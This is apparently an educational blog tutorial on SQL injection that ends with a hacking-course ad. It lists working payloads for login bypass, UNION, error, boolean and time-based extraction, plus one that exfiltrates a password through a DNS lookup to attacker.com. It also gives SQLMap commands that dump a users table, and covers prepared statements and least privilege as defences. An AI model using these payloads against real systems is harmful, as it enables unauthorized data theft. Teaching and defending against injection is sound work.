SQL Injection (SQLi) has been in the OWASP Top 10 for over a decade. It allows attackers to interfere with database queries that an application makes, potentially exposing, modifying, or deleting all data in a database.
In 2023, SQL injection was still responsible for some of the largest data breaches worldwide. Understanding it is essential for both developers and security testers.
Consider a vulnerable login form:
-- Vulnerable PHP code:
$query = "SELECT * FROM users WHERE username='" . $_POST['username'] . "' AND password='" . $_POST['password'] . "'";
-- Normal query:
SELECT * FROM users WHERE username='alice' AND password='secret123'
-- After injection (username: ' OR 1=1 --):
SELECT * FROM users WHERE username='' OR 1=1 --' AND password='anything'
-- The -- comments out the rest. 1=1 is always true. Login bypassed!
-- UNION-based: extract data alongside normal results
' UNION SELECT NULL, username, password FROM users --
-- Error-based: trigger database errors that leak info
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database()))) --
-- Boolean-based: page behaves differently based on true/false
-- True condition (page loads normally):
' AND 1=1 --
-- False condition (page changes or errors):
' AND 1=2 --
-- Extract data character by character:
' AND SUBSTRING(username,1,1)='a' --
-- If vulnerable, page delays by 5 seconds:
'; IF (1=1) WAITFOR DELAY '0:0:5' -- -- MSSQL
' AND SLEEP(5) -- -- MySQL
-- Extract data by measuring response time:
' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0) --
-- Exfiltrate data via DNS or HTTP requests:
-- MySQL example:
' AND LOAD_FILE(CONCAT('\\',(SELECT password FROM users LIMIT 1),'.attacker.com\share')) --
# Install SQLMap (included in Kali Linux)
# Test a URL for SQL injection:
sqlmap -u "https://target.com/page?id=1"
# Enumerate databases:
sqlmap -u "https://target.com/page?id=1" --dbs
# Enumerate tables in a database:
sqlmap -u "https://target.com/page?id=1" -D database_name --tables
# Dump a table:
sqlmap -u "https://target.com/page?id=1" -D database_name -T users --dump
# Test POST request:
sqlmap -u "https://target.com/login" --data="username=test&password=test"
# With cookie (for authenticated testing):
sqlmap -u "https://target.com/api?id=1" --cookie="session=abc123"
-- PHP PDO (correct way):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
-- Python with MySQL:
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
-- Node.js with MySQL2:
const [rows] = await pool.execute('SELECT * FROM users WHERE id = ?', [userId]);
// Only allow expected characters
if (!/^[a-zA-Z0-9_]+$/.test(username)) {
return res.status(400).json({ error: 'Invalid username' });
}
Your application's database user should only have SELECT, INSERT, UPDATE permissions on specific tables — never full admin access.
SQL injection is one of the highest-severity findings in bug bounty. On HackerOne and Bugcrowd, critical SQLi vulnerabilities pay $5,000 to $50,000+. Always test with SQLMap on your authorized targets and include proof-of-concept in your report.
Subscribe to ONLY4YOU and get hands-on access to 40+ premium courses — Ethical Hacking, Kali Linux, Metasploit, Network Hacking, Bug Bounty & more!